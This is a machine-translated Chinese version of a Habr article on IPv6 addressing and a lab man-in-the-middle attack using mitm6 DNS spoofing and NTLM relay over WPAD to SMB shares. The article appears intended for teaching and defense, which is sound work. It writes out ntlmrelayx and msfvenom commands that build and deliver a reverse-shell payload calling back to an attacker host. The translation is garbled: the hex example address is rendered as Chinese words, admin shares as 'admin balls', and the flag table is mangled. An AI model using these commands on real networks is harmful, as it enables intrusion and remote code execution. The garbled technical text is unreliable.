在IPv6中何处插入引号

IPv6是Internet协议的新版本。 IETF成员仅在22年前的1996年接受了它。 在这段时间内,特定的IPv6攻击设法出现了。 基于我们在PHDays 8上的演讲,本文的目的是展示内部入侵者使用IPv4和IPv6攻击公司网络的可能性。



IPv6寻址基础


IPv6地址的长度为128位,以十六进制格式写入,并将整个地址分为8组。 编写IPv6地址的示例:

2001:0a00:咖啡厅:贝贝:0001:0000:0000:0011/64

当几个后续的零组可以用“ ::”代替,但只能替换一次时,地址记录就会简化。 每个组中写入左侧的零都可以丢弃。 因此,以上地址可以写为:

2001:a00:咖啡厅:宝贝:1 :: 11/64

提供者发布给客户端的主机部分的标准大小为64位,其中4位用于将网络划分为子网。



IPv6中有几种类型的地址:


全球单播是IPv4中公共地址的类似物。 这些地址由IANA发布,在整个Internet上都是唯一的。 这些地址的范围是2000 :: / 3(2000-3FFF)。

本地地址(Link-local) -FE80 :: / 10(FE80-FEBF)范围内的地址由设备自动生成,并用于与同一本地网络上的其他设备进行交互。 包含该地址作为发送者或接收者的流量不应路由。 因此,支持IPv6并连接到网络的设备无需任何配置即可立即在其子网内交换信息。

回送地址:: 1 。 该地址类似于IPv4中的127.0.0.1。 发送给它的数据包不会离开设备。

未指定地址 -地址“ ::”,仅包含零。 在某些情况下,它一直用作发件人,直到收到地址为止。

唯一本地地址(Unique local) -IPv4中专用地址的类似物,可以在组织的内部网络中路由,而不必路由到Internet。 IPv6地址空间是如此之大,以至于可以向地球上的每个人发出超过一万亿个地址,并且它们不会终止。 因此,由于缺少公共地址,IPv6意味着在IPv4中使用私有地址的意义上,私有地址的放弃。

映射到IPv6的IPv4地址(嵌入式IPv4) -以:: ffff开头的IPv6地址:其后32位包含IPv4地址(:: ffff:xxxx:xxxx,其中xxxx:xxxx是转换为十六进制的IPv4地址)。 这些地址用于不支持IPv6的设备,并提供将IPv4地址空间映射到IPv6地址空间的方法。

组播地址(Multicast) -与IPv4相比,IPv6的主要变化之一。 新协议拒绝了广播数据包,而不是使用广播地址多播地址。 所有这些地址都在FF00 :: / 8的范围内



IPv6地址分配


IPv6使用ICMPv6邻居发现协议(ND)获得地址信息。 如下图所示,当新设备出现在IPv6网络上时,该设备会向“ ff02 :: 2”(所有网络路由器)发送一个获取IPv6地址的请求(路由器请求)。 路由器以(路由器广告)消息作为响应,该消息包含有关如何获取IPv6地址的信息。 根据消息中设置的标志,有以下三种方法:
获取地址的方式(自动)标志O(其他)标志M(托管)标志
SLAAC(默认)1个00
SLAAC + DHCPv61个1个0
DHCPv60--1个

SLAAC (无状态地址自动配置)-在这种情况下,生成全局IPv6地址所需的一切都在RA消息中。

SLAAC + DHCPv6-与SLAAC一样,地址是根据RA数据包中的信息生成的,但是会额外设置O标志,这意味着进行其他配置,并且设备必须与DHCPv6服务器联系以获得其他设置,例如DNS服务器。

DHCPv6是DHCPv4地址的类似物,所有其他信息均由DHCP服务器发布,但默认网关除外,该默认网关取自RA数据包的发件人地址。

当同时设置O和M标志时,将忽略O标志。


例如,以thc-ipv6实用程序套件中的fake_router26实用程序为例。 该图显示,启动后,添加了默认网关的IPv6地址,该地址成为优先于IPv4的地址。



进攻!


在这种情况下,我们将考虑使用获取IPv6网络设置的机制进行中间人攻击的可能性。

为了演示,我们需要4辆车:

攻击者机器是 Kali Linux。



在其上打开Windows 7管理球的服务器计算机



可以访问Windows 7服务器的客户端计算机



启用了DHCPv4的路由器。

dirkjanm描述了此方案的方法 。 他编写了mitm6实用程序,该实用程序使用ND协议发送“ O”和“ M”标志设置为“ 1”的路由器公告消息。 因此,客户端知道有必要从DHCPv6服务器请求地址信息。 客户端开始发送DHCPv6 SOLICIT消息以发现DHCP服务器。 该实用程序以DHCPv6 ADVERTISE消息响应请求。 响应包含作为DNS服务器的攻击机的地址。

请求将地址信息发送到所有DHCP服务器的多播地址ff02 :: 1:2

之后,由于操作系统的体系结构功能,DHCPv6 DNS成为优先事项。 现在,攻击者可以使用正确的地址响应任何DNS查询。 因此,域名发送的请求将被发送给攻击者自己的判断力。

通过运行mitm6,您可以指定要替换DNS地址的域。





管理球


为了增强戏剧效果,假设网络上存在另一台允许第一台计算机的用户连接到管理球的计算机。 默认情况下,它们是关闭的,但是在Internet上,很多人都对如何打开它们感兴趣,并且对它们打开时感到非常高兴。





WPAD (Web代理自动发现)是一种协议,用于确定默认代理设置所在的文件的位置。

更新MS16-077之后,将不再通过NETBIOS给予wpad,并且不会在代理服务器上自动对其进行身份验证。

要绕过这些限制,您可以使用impacket的一部分ntlmrelayx.py。 需要高于0.9.16的版本,其中包括IPv6支持和安装呈现有效wpad的服务器的功能。 发射由团队完成

ntlmrelayx.py -6 -wh at.localdomain -t smb://192.168.56.7 -e 1.exe 

其中1.exe是元拆分生成的反向Shell负载。

 msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.6 LPORT=444 -f exe -o 1.exe 

-wh参数指示wpad文件所在的主机(mitm6实用程序将使用攻击者的地址来响应此请求)





连接后,将请求HTTP 407(需要代理身份验证)身份验证,浏览器将自动对其进行身份验证。





接收到的数据将通过-t参数用于连接到受攻击服务器的smb。





感谢我的合著者Sergey Ovchinnikov malchikserega在准备演示文稿和文章时提供的帮助。

Source: https://habr.com/ru/post/zh-CN417285/


All Articles